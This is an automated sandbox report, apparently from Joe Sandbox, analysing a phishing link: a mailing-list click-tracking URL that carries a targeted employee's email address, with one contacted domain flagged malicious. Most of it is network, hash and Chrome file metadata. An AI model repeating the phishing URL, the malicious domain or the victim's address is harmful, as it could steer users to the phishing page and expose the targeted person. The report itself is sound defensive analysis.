United States 13335 CLOUDFLARENETUS false

142.251.36.205 accounts.google.com United States 15169 GOOGLEUS false

142.251.36.238 clients.l.google.com United States 15169 GOOGLEUS false

69.172.198.108 trocha.com.co Canada 54643 IDIGITALCA false

51.210.32.132 i.ibb.co France 16276 OVHFR false

239.255.255.250 unknown Reserved unknown unknown false

192.154.231.67 shafquatarefeen.com United States 40676 AS40676US true

152.199.23.37 cs1100.wpc.omegacdn.ne
t

United States 15133 EDGECASTUS false

104.17.25.14 cdnjs.cloudflare.com United States 13335 CLOUDFLARENETUS false

IP

192.168.2.1

192.168.2.3

192.168.2.5

127.0.0.1

Joe Sandbox Version: 35.0.0 Citrine

Analysis ID: 655612

Start date and time: 01/07/202210:59:25 2022-07-01 10:59:25 +02:00

Joe Sandbox Product: CloudBasic

Overall analysis duration: 0h 5m 37s

Hypervisor based Inspection enabled: false

Report type: light

Cookbook file name: browseurl.jbs

Sample URL: https://gmail.us14.list-manage.com/track/click?
u=957e6b6833ddd63bbe471b4e4&id=18858b02d6&e=7ce018b90e#*giangaddo.prati@barilla.com*

Public IPs

Private

General Information
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Analysis system description: Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211

Number of analysed new started processes 
analysed:

18

Number of new started drivers analysed: 0

Number of existing processes analysed: 0

Number of existing drivers analysed: 0

Number of injected processes analysed: 0

Technologies: HCA enabled
EGA enabled
HDC enabled
AMSI enabled

Analysis Mode: default

Analysis stop reason: Timeout

Detection: MAL

Classification: mal80.phis.win@30/114@16/13

EGA Information: Failed

HDC Information: Failed

HCA Information: Successful, ratio: 100%
Number of executed functions: 0
Number of non-executed functions: 0

Cookbook Comments: Adjust boot time
Enable AMSI

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, conhost.exe, backgroundTaskHost.exe, svchost.exe
TCP Packets have been reduced to 100
Created / dropped Files have been reduced to 100
Excluded IPs from analysis (wh itelisted): 2.19.77.84, 142.251.36.206, 142.251.36.195, 74.125.111.138, 34.104.35.123, 20.190.159.70, 40.126.31.64, 20.190.159.69, 20.190.159.74, 20.1
90.159.5, 20.190.159.3, 40.126.31.68, 40.126.31.70, 2.20.16.227, 69.16.175.42, 69.16.175.10, 142.251.36.202, 173.222.108.226, 52.242.101.226, 20.54.89 .106, 20.223.24.244
Excluded domains from analysis (whitelisted): cds.s5x3j6q5.hwcdn.net, e13829.x.akamaiedge.net, clientservices.googleapis.com, arc.msn.com, redirector.gvt1.com, consumer-
displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, login.live.com, e13761.dscg.akamaiedge.net, update.googleapis.com, sls.update.microsoft.com, swc.list-
manage.com.edgekey.net, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, www.gstatic.com, global-entry-afdthirdparty-fallback.trafficmanager.net, 
glb.sls.prod.dcat.dsp.trafficmanager.net, www.bing.com, www.tm.ak.prd.aadg.trafficmanager.net, client.wns.windows.com, fs.microsoft.com, content-autofill.googleapis.com, r5.sn-4g5e
dn6k.gvt1.com, aadcdnoriginwus2.azureedge.net, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, secure.aadcdn.microsoftonline-p.com.edgekey.net, neu-
displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, ctldl.windowsupdate.com, aadcdn.msauth.net, firstparty-azurefd-prod.trafficmanager.net, licensing.mp.microsoft.com,
Not all processes where analyzed, report is missing behavior  information
Report size getting too big, t oo many NtCreateFile calls found.
Report size getting too big, t oo many NtOpenFile calls found.
Report size getting too big, t oo many NtSetInformationFile calls found.
Report size getting too big, t oo many NtWriteVirtualMemory calls found.

⊘ No simulations

⊘ No context

⊘ No context

⊘ No context

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints
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⊘ No context

⊘ No context

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 451603

Entropy (8bit): 5.009711072558331

Encrypted: false

SSDEEP: 12288:ZHfRTyGZ6lup8Cfrvq4JBPKh+FBlESBw4p6:NfOCzvRKhGvwJ

MD5: A78AD14E77147E7DE3647E61964C0335

SHA1: CECC3DD41F4CEA0192B24300C71E1911BD4FCE45

SHA-256: 0D6803758FF8F87081FAFD62E90F0950DFB2DD7991E9607FE76A8F92D0E893FA

SHA-512: DDE24D5AD50D68FC91E9E325D31E66EF8F624B6BB3A07D14FFED1104D3AB5F4EF1D7969A5CDE0DFBB19CB31C506F7DE97AF67C2F244F7E7E8E10648EA8321
101

Malicious: false

Reputation: low

Preview: BDic.... ....6...."..Z..4g....6.2...{/...3...5....AF 1363.AF nm.AF pt.AF n1.AF p.AF tc.AF SM.AF M.AF S.AF MS.AF MNR.AF GDS.AF MNT.AF MH.AF MR.AF SZMR.AF MJ.AF 
MT.AF MY.AF MRZ.AF MN.AF MG.AF RM.AF N.AF MV.AF XM.AF DSM.AF SD.AF G.AF R.AF MNX.AF MRS.AF MD.AF MNRB.AF B.AF ZSMR.AF PM.AF SMNGJ.AF 
SMN.AF ZMR.AF SMGB.AF MZR.AF GM.AF SMR.AF SMDG.AF RMZ.AF ZM.AF MDG.AF MDT.AF SMNXT.AF SDY.AF LSDG.AF LGDS.AF GLDS.AF UY.AF U.AF 
DSGNX.AF GNDSX.AF DSG.AF Y.AF GS.AF IEMS.AF YP.AF ZGDRS.AF XGNVDS.AF UT.AF GNDS.AF GVDS.AF MYPS.AF XGNDS.AF TPRY.AF MDSG.AF ZGSDR.
AF DYSG.AF PMYTNS.AF AGDS.AF DRZGS.AF PY.AF GSPMDY.AF EGVDS.AF SL.AF GNXDS.AF DSBG.AF IM.AF I.AF MDGS.AF SMY.AF DSGN.AF DSLG.AF GM
DS.AF MDSBG.AF SGD.AF IY.AF P.AF DSMG.AF BLZGDRS.AF TR.AF AGSD.AF ZGBDRSL.AF PTRY.AF ASDGV.AF ASM.AF ICANGSD.AF ICAM.AF IKY.AF AMS
.AF PMYTRS.AF BZGVDRS.AF SDRBZG.AF GVMDS.AF PSM.AF DGLS.AF GNVXDS.AF AGDSL.AF DGS.AF XDSGNV.AF BZGDRS.AF AM.AF AS.AF A.AF LDSG.AF 
AGVDS.AF SDG.AF LDSMG.AF EDSMG.AF EY.AF DRSMZG.AF PRYT.AF LZ

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: SysEx File -

Category: dropped

Size (bytes): 94708

Entropy (8bit): 3.7516809993154

Encrypted: false

SSDEEP: 384:JTSFtzImfw//V0aJ0N5riv933mpz2HXOG6dr4rNtxGHTDCrwxmojIn5NRiOzzlNX:puKdF+Xy+QeLRjP0nLCrKRndlb

MD5: C78AE2E010A96A098D20E2456387C847

SHA1: 4C4CB037E3935956146B1DF4BCF0C2BFFEA3B625

SHA-256: 805CC90F9D6B83320D971A3CF79AAB74B527E2601604867877236A9FF336FF55

SHA-512: AD26342AE3BD1B8130F692F338338D1E767379C58DD19BF69B39B3A86E4EC9FDA040D5977C7E430D5E033BB20DCB3256A08334BA2BAB1BAD36981BB31407D5
FA

Malicious: false

Reputation: low

Preview: .q..............*...C.:.\.P.R.O.G.R.A.~.1.\.M.I.C.R.O.S.~.1.\.O.f.f.i.c.e.1.6.\.G.R.O.O.V.E.E.X...D.L.L..P!...[)...%.p.r.o.g.r.a.m.f.i.l.e.s.%.\.m.i.c.r.o.s.o.f.t. .o.f.f.i.c.e.\.o.f.f.i.c.e
.1.6.\.......g.r.o.o.v.e.e.x...d.l.l.....M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e. .2.0.1.6...*...M.i.c.r.o.s.o.f.t. .O.n.e.D.r.i.v.e. .f.o.r. .B.u.s.i.n.e.s.s. .E.x.t.e.n.s.i.o.n.s.....1.6...0...4.7.1.1...1.0
.0.0.....*...C.:.\.P.R.O.G.R.A.~.1.\.M.I.C.R.O.S.~.1.\.O.f.f.i.c.e.1.6.\.G.R.O.O.V.E.E.X...D.L.L.....M.i.c.r.o.s.o.f.t. .C.o.r.p.o.r.a.t.i.o.n....`8.D...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.C.o
.m.m.o.n. .F.i.l.e.s.\.M.i.c.r.o.s.o.f.t. .S.h.a.r.e.d.\.O.F.F.I.C.E.1.6.\.m.s.o.s.h.e.x.t...d.l.l..@.....U/...%.c.o.m.m.o.n.p.r.o.g.r.a.m.f.i.l.e.s.%.\.m.i.c.r.o.s.o.f.t. .s.h.a.r.e.d.\.o.f
.f.i.c.e.1.6.\.......m.s.o.s.h.e.x.t...d.l.l.....M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e.)...M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e. .S.h.e.l.l. .E.x.t.e.n.s.i.o.n. .H.a.n.d.l.e.r.s.......1.6...0...4.2.6.6...1.0.0.1.....D...C
.:.\.P.r.o.g.r.a.m.

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 408770

Entropy (8bit): 6.025523426484636

Dropped Files

Created / dropped Files

C:\Program Files\Google\Chrome\Application\Dictionaries\en-US-9-0.bdic

C:\Users\user\AppData\Local\Google\Chrome\User Data\2144eb76-9988-4814-bb3c-eb1b507b70af.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\24fe8e84-07a8-48b2-9c23-033ac95a1ac6.tmp
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Encrypted: false

SSDEEP: 12288:RNDdqe70oOl9gKV/xzurRDn9nfNxF4ijZVtilBr:RGe70o4VV10RzxxPjjt8r

MD5: F0314144FB01BA32AEFEF06D75685804

SHA1: 5100A65C76FE371CDF1B3D39AD1C41852D124BE2

SHA-256: 26D655E9F175413A310054D640DFE184010DD5F458952A016025392AAF8D9C7F

SHA-512: DC97BF57B0994BB4DECC37C3E1F4663E4BA7FA2E0DA9E715A296C58640E9AF75E7A437A5DCE2AE2C93FFF8C48BD3CB48D31BC06D74C042B0DD546BBBC0E3
C090

Malicious: false

Reputation: low

Preview: {"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":
{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"ne
twork_time":{"network_time_mapping":{"local":1.65669844306811e+12,"network":1.656666044e+12,"ticks":204026859.0,"uncertainty":4555314.0}},"os_crypt":{"encrypted
_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABUPWY4cSyAQZRX3j8/SLmMAAAAAAIAAAAAABBmAAAAAQAAIAAAACC7lwCjByxIY/Ds1S6cdCxJW
6iSr1QfjoKlVKoVEQ4EAAAAAA6AAAAAAgAAIAAAAD9PMfiGkWkdrfU+zeMpOLPS1eDxLpcgjYP2R/ndeCNxMAAAAK+RpovfP61NtB5nOpQgPMjPTyt2T1WPe
ru9i3yP05zNVEj0uCRDWfONruG9ricX1kAAAADB9KtQ9KY2z38GdfaF7dW2ZLcAMHOX2oEKBg8ZJG9lsuMexxChB4M8HFpyb0Bpr6axpi+zmMIXt76noTOxFzKN"},"pas
sword_manager":{"os_password_blank":true,"os_password_last_changed":"13291230469089072"},"plugins":{"metadata":{"adobe-flash-player":{"displ

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 95428

Entropy (8bit): 3.751337347669987

Encrypted: false

SSDEEP: 384:5TSFtzImfw//V0aJ0N5riv933mpz2HXOG6dr4rNtxGHTDCrwxmoc6In5NRiOzzle:5uKdF+Xg+QeLRjP0nLCrKRndl0

MD5: 1D6950D496039C6EA04E1B17D0466DC7

SHA1: 53392A9664E6ECE4EEF22619BBEC1F9322B2F9C7

SHA-256: 4F9DCA81C810AFE6632D100FDF599B32D016DE320F39D61A2C4AC37D3F83CD32

SHA-512: DCA7126BD68853A1A7227305445A54068AF3F702923DBFD3D6E962868156C102BE8A1E734D3553CAF474BFA74F9D6BB05948FEE8A5D36606E0B6FFF264B181EC

Malicious: false

Reputation: low

Preview: .t..............*...C.:.\.P.R.O.G.R.A.~.1.\.M.I.C.R.O.S.~.1.\.O.f.f.i.c.e.1.6.\.G.R.O.O.V.E.E.X...D.L.L..P!...[)...%.p.r.o.g.r.a.m.f.i.l.e.s.%.\.m.i.c.r.o.s.o.f.t. .o.f.f.i.c.e.\.o.f.f.i.c.e
.1.6.\.......g.r.o.o.v.e.e.x...d.l.l.....M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e. .2.0.1.6...*...M.i.c.r.o.s.o.f.t. .O.n.e.D.r.i.v.e. .f.o.r. .B.u.s.i.n.e.s.s. .E.x.t.e.n.s.i.o.n.s.....1.6...0...4.7.1.1...1.0
.0.0.....*...C.:.\.P.R.O.G.R.A.~.1.\.M.I.C.R.O.S.~.1.\.O.f.f.i.c.e.1.6.\.G.R.O.O.V.E.E.X...D.L.L.....M.i.c.r.o.s.o.f.t. .C.o.r.p.o.r.a.t.i.o.n....`8.D...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.C.o
.m.m.o.n. .F.i.l.e.s.\.M.i.c.r.o.s.o.f.t. .S.h.a.r.e.d.\.O.F.F.I.C.E.1.6.\.m.s.o.s.h.e.x.t...d.l.l..@.....U/...%.c.o.m.m.o.n.p.r.o.g.r.a.m.f.i.l.e.s.%.\.m.i.c.r.o.s.o.f.t. .s.h.a.r.e.d.\.o.f
.f.i.c.e.1.6.\.......m.s.o.s.h.e.x.t...d.l.l.....M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e.)...M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e. .S.h.e.l.l. .E.x.t.e.n.s.i.o.n. .H.a.n.d.l.e.r.s.......1.6...0...4.2.6.6...1.0.0.1.....D...C
.:.\.P.r.o.g.r.a.m.

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 405163

Entropy (8bit): 6.013880008054767

Encrypted: false

SSDEEP: 12288:rNDdqe70oOl9gKV/xzurRDn9nfNxF4ijZVtilBr:rGe70o4VV10RzxxPjjt8r

MD5: F2CE2F0422592290843D5FCC732A6B09

SHA1: D56F0335F19592B66981EDEF1188B18C16CF15AD

SHA-256: CA2EA2CFA0A22752473862A06D76740C14660CAAF44138B7E486DCD274FAE28E

SHA-512: CA7502DDE665147773D7E68A6A6DCA8A83CC20954394A7C18654CFC72A53D719AA1CBAF9E5092764C1042BEB31C5E2EADA7FB797A9D9EAFFDB7A2A81A7AD4
EA0

Malicious: false

Reputation: low

Preview: {"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":
{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"ne
twork_time":{"network_time_mapping":{"local":1.65669844306811e+12,"network":1.656666044e+12,"ticks":204026859.0,"uncertainty":4555314.0}},"os_crypt":{"encrypted
_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABUPWY4cSyAQZRX3j8/SLmMAAAAAAIAAAAAABBmAAAAAQAAIAAAACC7lwCjByxIY/Ds1S6cdCxJW
6iSr1QfjoKlVKoVEQ4EAAAAAA6AAAAAAgAAIAAAAD9PMfiGkWkdrfU+zeMpOLPS1eDxLpcgjYP2R/ndeCNxMAAAAK+RpovfP61NtB5nOpQgPMjPTyt2T1WPe
ru9i3yP05zNVEj0uCRDWfONruG9ricX1kAAAADB9KtQ9KY2z38GdfaF7dW2ZLcAMHOX2oEKBg8ZJG9lsuMexxChB4M8HFpyb0Bpr6axpi+zmMIXt76noTOxFzKN"},"pas
sword_manager":{"os_password_blank":true,"os_password_last_changed":"13245950075265799"},"policy":{"last_statistics_update":"133011720394281

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

C:\Users\user\AppData\Local\Google\Chrome\User Data\405177b2-0f7d-4cc0-a1d6-ed6daf9867bb.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\4105089a-6552-48c9-b3c4-e297fdabad08.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\90794f5d-3bc7-4264-a72e-c6700a93214f.tmp
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Size (bytes): 405164

Entropy (8bit): 6.01388011934753

Encrypted: false

SSDEEP: 12288:eNDdqe70oOl9gKV/xzurRDn9nfNxF4ijZVtilBr:eGe70o4VV10RzxxPjjt8r

MD5: 24064D96BDE16A3B0BF5FE611FD7F9D9

SHA1: 10D7C894EE97644E4DE40467BD3AF4A78B87A213

SHA-256: 3EE7DE8F3C09C2402B3EFC2B49BC39A1E08FFC6296E2539C424EB0AFDC39E085

SHA-512: CCB9B7B77E3B5A18CA8EDB84555104DECE96051745EB53F222DC5EC1DC07C43BE65F0646AC2F02CC0ECB55289519EFF4D7823650CCD21A15600F0AF89E4B01
F6

Malicious: false

Reputation: low

Preview: {"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":
{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"ne
twork_time":{"network_time_mapping":{"local":1.65669844306811e+12,"network":1.656666044e+12,"ticks":204026859.0,"uncertainty":4555314.0}},"os_crypt":{"encrypted
_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABUPWY4cSyAQZRX3j8/SLmMAAAAAAIAAAAAABBmAAAAAQAAIAAAACC7lwCjByxIY/Ds1S6cdCxJW
6iSr1QfjoKlVKoVEQ4EAAAAAA6AAAAAAgAAIAAAAD9PMfiGkWkdrfU+zeMpOLPS1eDxLpcgjYP2R/ndeCNxMAAAAK+RpovfP61NtB5nOpQgPMjPTyt2T1WPe
ru9i3yP05zNVEj0uCRDWfONruG9ricX1kAAAADB9KtQ9KY2z38GdfaF7dW2ZLcAMHOX2oEKBg8ZJG9lsuMexxChB4M8HFpyb0Bpr6axpi+zmMIXt76noTOxFzKN"},"pas
sword_manager":{"os_password_blank":true,"os_password_last_changed":"13291230469089072"},"policy":{"last_statistics_update":"133011720394281

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 40

Entropy (8bit): 3.3041625260016576

Encrypted: false

SSDEEP: 3:FkXYDu6cR9n:+Y66cR9

MD5: 7A9D405E9218ED86C7ED3BB729DAA896

SHA1: E5BB69E833231B755B20E5A0C9B2392D8B923C66

SHA-256: D83D002DFE4F96C43A6FBF24FC7AA739945731ABDEC2AFB53EDDCE2D2D87D6AF

SHA-512: F34290BF6A4B1AA63F47436C0788FC1DAC7B970A1861EF1D1891826FD3DFD0FD484A900E23A3024C19CA93DE842BF8B5BC7A5E159362A4C3A36AE8D47C8551A
7

Malicious: false

Reputation: low

Preview: sdPC.....................8...?E."..N_.

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 19793

Entropy (8bit): 5.564155353666794

Encrypted: false

SSDEEP: 384:gI0t7LlXRXi1kXqKf/pUZNCgVLH2HfDsrUcHGXGFd4CF:yLlFi1kXqKf/pUZNCgVLH2HfwrUQGXUD

MD5: 9276702910EEBA21C662064A16BD3659

SHA1: 4146B0868994D995C50F1BCE8FB148F4CE877166

SHA-256: ACA92B0EA5557081D7ABE9990ACE44033B498C8E8FE77AA6B248D76B0E6170B3

SHA-512: 674AFBAE5A3CE7E2E89C99F2250276D90E7AF887ED2165BF0BA0B1ED7DB4B6F882D439A8C7E9C77C6CA6FB9BF126965E2F55946250D3D59C33480341F5813C5
0

Malicious: false

Reputation: low

Preview: {"download":{"always_open_pdf_externally":true,"directory_upgrade":true,"extensions_to_open":"pdf:doc:docx:docxm:docm:xls:xlsx:xlsxm:xlsm:ppt:pptx:pptxm:pptm:mh
t:rtf:pub:vsd:mpp:mdb:dot:dotm:xlsb:xll:hwp:show:cell:hwpx:hwt:jtd:zip:iso:7z:rar:tar:vbs:js:jse:vbe:exe:html:htm:xhtml:tbz2:lz"},"extensions":{"settings":{"ahfgeienlihck
ogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network
"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"from_bookmark":false,"from_webstore":false,"i
ncognito_content_settings":[],"incognito_preferences":{},"install_time":"13301172040041762","location":5,"manifest":{"app":{"launch":{"web_url":"https://chrome.
google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and themes for Google Chrome.","icons":
{"128":"webstore_i

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with very long lines, with no line terminators

Category: dropped

C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\16448de7-8bcb-4156-82bd-e699b25fabc2.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\65663aee-0d9b-4769-92bb-037263a6287b.tmp
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Size (bytes): 19792

Entropy (8bit): 5.563887255724594

Encrypted: false

SSDEEP: 384:gI0t7LlXRXi1kXqKf/pUZNCgVLH2HfDsrUcHGoGCd4/:yLlFi1kXqKf/pUZNCgVLH2HfwrUQGoXi

MD5: 06D5FA7377C38F6B496F94679367AEF1

SHA1: 9987AC259D75E420C5EC2A824F03E4E715C5FDC0

SHA-256: 662604E94D77EE9710478F20460F3C0F1E7E18BC5FDEDC8D4BD0DA283C693087

SHA-512: 379C7907E5F8C62E584CC6430D6EB7BC2E06641D93AFD3124B682363BF31AA8BEBEF55C18F6EF52FA3DF195A8805ADB124A93E81A666120FCD9D458F7D264D4
2

Malicious: false

Reputation: low

Preview: {"download":{"always_open_pdf_externally":true,"directory_upgrade":true,"extensions_to_open":"pdf:doc:docx:docxm:docm:xls:xlsx:xlsxm:xlsm:ppt:pptx:pptxm:pptm:mh
t:rtf:pub:vsd:mpp:mdb:dot:dotm:xlsb:xll:hwp:show:cell:hwpx:hwt:jtd:zip:iso:7z:rar:tar:vbs:js:jse:vbe:exe:html:htm:xhtml:tbz2:lz"},"extensions":{"settings":{"ahfgeienlihck
ogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network
"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"from_bookmark":false,"from_webstore":false,"i
ncognito_content_settings":[],"incognito_preferences":{},"install_time":"13301172040041762","location":5,"manifest":{"app":{"launch":{"web_url":"https://chrome.
google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and themes for Google Chrome.","icons":
{"128":"webstore_i

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 2006

Entropy (8bit): 4.885544334332759

Encrypted: false

SSDEEP: 48:Y2n6qtwTCXDHyvzM3zspGs3tRLs3iRI8sS5sAMHJYhbxD:JnxOTCXDH+zMIFtX2eXGWhVD

MD5: 829EF55DFA68D7879015508B19BEF288

SHA1: B3D15DE8F7B9333844FEEF017A288B26D5D1D4F9

SHA-256: E2D5F835B367BBCA1BB3BE5CE93AD2F643AB98D31438A23FCCD3F96AA94BA04F

SHA-512: BDE1478EA60E461FDE2E9C1110EE0BD562E1B10C995461C7527D102115457D8C6758EB8280D6055AD9A6BADC103645C464B590F01891EA39D73BE4F8090D15D
C

Malicious: false

Reputation: low

Preview: {"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://www.google.com","supports_spdy":true},{"isolation":[],"server":"https://fonts.googleapis.co
m","supports_spdy":true},{"isolation":[],"server":"https://ssl.gstatic.com","supports_spdy":true},{"isolation":[],"server":"https://www.gstatic.com","supports_spdy":true},
{"isolation":[],"server":"https://fonts.gstatic.com","supports_spdy":true},{"isolation":[],"server":"https://apis.google.com","supports_spdy":true},{"isolation":[],"server":"https
://ogs.google.com","supports_spdy":true},{"isolation":[],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"isolation":[],"server":"https://dns.goo
gle","supports_spdy":true},{"isolation":[],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_versions":[50],"expiration":"1
3303764044720635","port":443,"protocol_str":"quic"}],"isolation":[],"server":"https://redirector.gvt1.com"},{"alternative_service":[{"advert

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 17703

Entropy (8bit): 5.576871234481696

Encrypted: false

SSDEEP: 384:gI0t7LlXRXi1kXqKf/pUZNCgVLH2HfDsrUdGvd4I:yLlFi1kXqKf/pUZNCgVLH2HfwrUdqd/

MD5: 49AD1B60704FAE421E7589557BDA8F2B

SHA1: C94141AD1238B558E36BC08CC803D7F5B3F91760

SHA-256: 87DB422B11661AB85785B9D9C00A5C04A497E6A97539878E7B458F0CD8E7973E

SHA-512: 4C076EECCC6C5020968D9EEC7D4D733B9BFF34C508CF13762F568654F5939AED45C57424FBF8B037E56748DC02A48C88DEC18332C030C956CD3CA754A459A55
C

Malicious: false

Reputation: low

Preview: {"download":{"always_open_pdf_externally":true,"directory_upgrade":true,"extensions_to_open":"pdf:doc:docx:docxm:docm:xls:xlsx:xlsxm:xlsm:ppt:pptx:pptxm:pptm:mh
t:rtf:pub:vsd:mpp:mdb:dot:dotm:xlsb:xll:hwp:show:cell:hwpx:hwt:jtd:zip:iso:7z:rar:tar:vbs:js:jse:vbe:exe:html:htm:xhtml:tbz2:lz"},"extensions":{"settings":{"ahfgeienlihck
ogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network
"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"from_bookmark":false,"from_webstore":false,"i
ncognito_content_settings":[],"incognito_preferences":{},"install_time":"13301172040041762","location":5,"manifest":{"app":{"launch":{"web_url":"https://chrome.
google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and themes for Google Chrome.","icons":
{"128":"webstore_i

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\77bd5fc6-5583-47f9-a2ea-d79864a3b8d7.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\833a5906-20c8-4671-8c0b-7681c7770a6e.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\8ae7a63b-de1a-490f-a2fa-893ef24b8dba.tmp
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Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: very short file (no magic)

Category: dropped

Size (bytes): 1

Entropy (8bit): 0.0

Encrypted: false

SSDEEP: 3:L:L

MD5: 5058F1AF8388633F609CADB75A75DC9D

SHA1: 3A52CE780950D4D969792A2559CD519D7EE8C727

SHA-256: CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8

SHA-512: 0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F2
5F21

Malicious: false

Reputation: low

Preview: .

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 11217

Entropy (8bit): 6.069602775336632

Encrypted: false

SSDEEP: 192:GbylJnlTwGB7V9Hne4qasKxXItmLG48gcLg/PkI:Gb+nldByaFx4toj8VEPT

MD5: 90F880064A42B29CCFF51FE5425BF1A3

SHA1: 6A3CAE3996E9FFF653A1DDF731CED32B2BE2ACBF

SHA-256: 965203D541E442C107DBC6D5B395168123D0397559774BEAE4E5B9ABC44EF268

SHA-512: D9CBFCD865356F19A57954F8FD952CAF3D31B354112766C41892D1EF40BD2533682D4EC3F4DA0E59A5397364F67A484B45091BA94E6C69ED18AB681403DFD3F3

Malicious: false

Reputation: low

Preview: {"file_hashes":[{"block_hashes":["A+1PYW3V6CJbBuQ7aqrgYhyH3bT8PKyBXp3hN2slpI0=","WSOpQRkYTHjPSlG9Zif2a7TNhy43NDcG1Zg5Nv0UbH0=","jDctR8ImG5KZ
rQKm4kDjUB7FokSJfjo/pmvFowRVlaY=","LPxhhJiuU0lprt0T6flpS7TkaDg7MocrbmzO65xH6RI=","nZ9zLb2By96AkKXALRM+C0Eu11XUjPiMXEKjiCPdtHE=","w
ifibc1QfMBN2jrtUtLgsCefvuceTpAatmLvul11RJA=","dHjWlSIIdjj7MWqg3T8MG58RuuqRXk32vqi/13JqEgA=","zd3DV7dbvfNvx1hdhU01fW5ily52DLN0CFL/ADaEeTI=","
DpjXcO85FFFY9KJFPkGNfFUtdQIOsGwO5jUckiUwY14=","gqid6l1+mk/6yWgUECRofI9lMipXgXh2jEN2+CxmPE0=","prDB91X2Mmfg/M/txVMITWBmEGbOGjqBTP7C
MjYqdHs=","yLPAqV4gqoyS/zFkEt3Cn2j0q2v9QOSthVFfWn8EzCM=","EPQ3jzdrLkAHyvf3920B5Y3aAkO1IJdn/UtbnAmq6T0=","+oOc6ca+ChKUpTu+oa2ZRxRE+
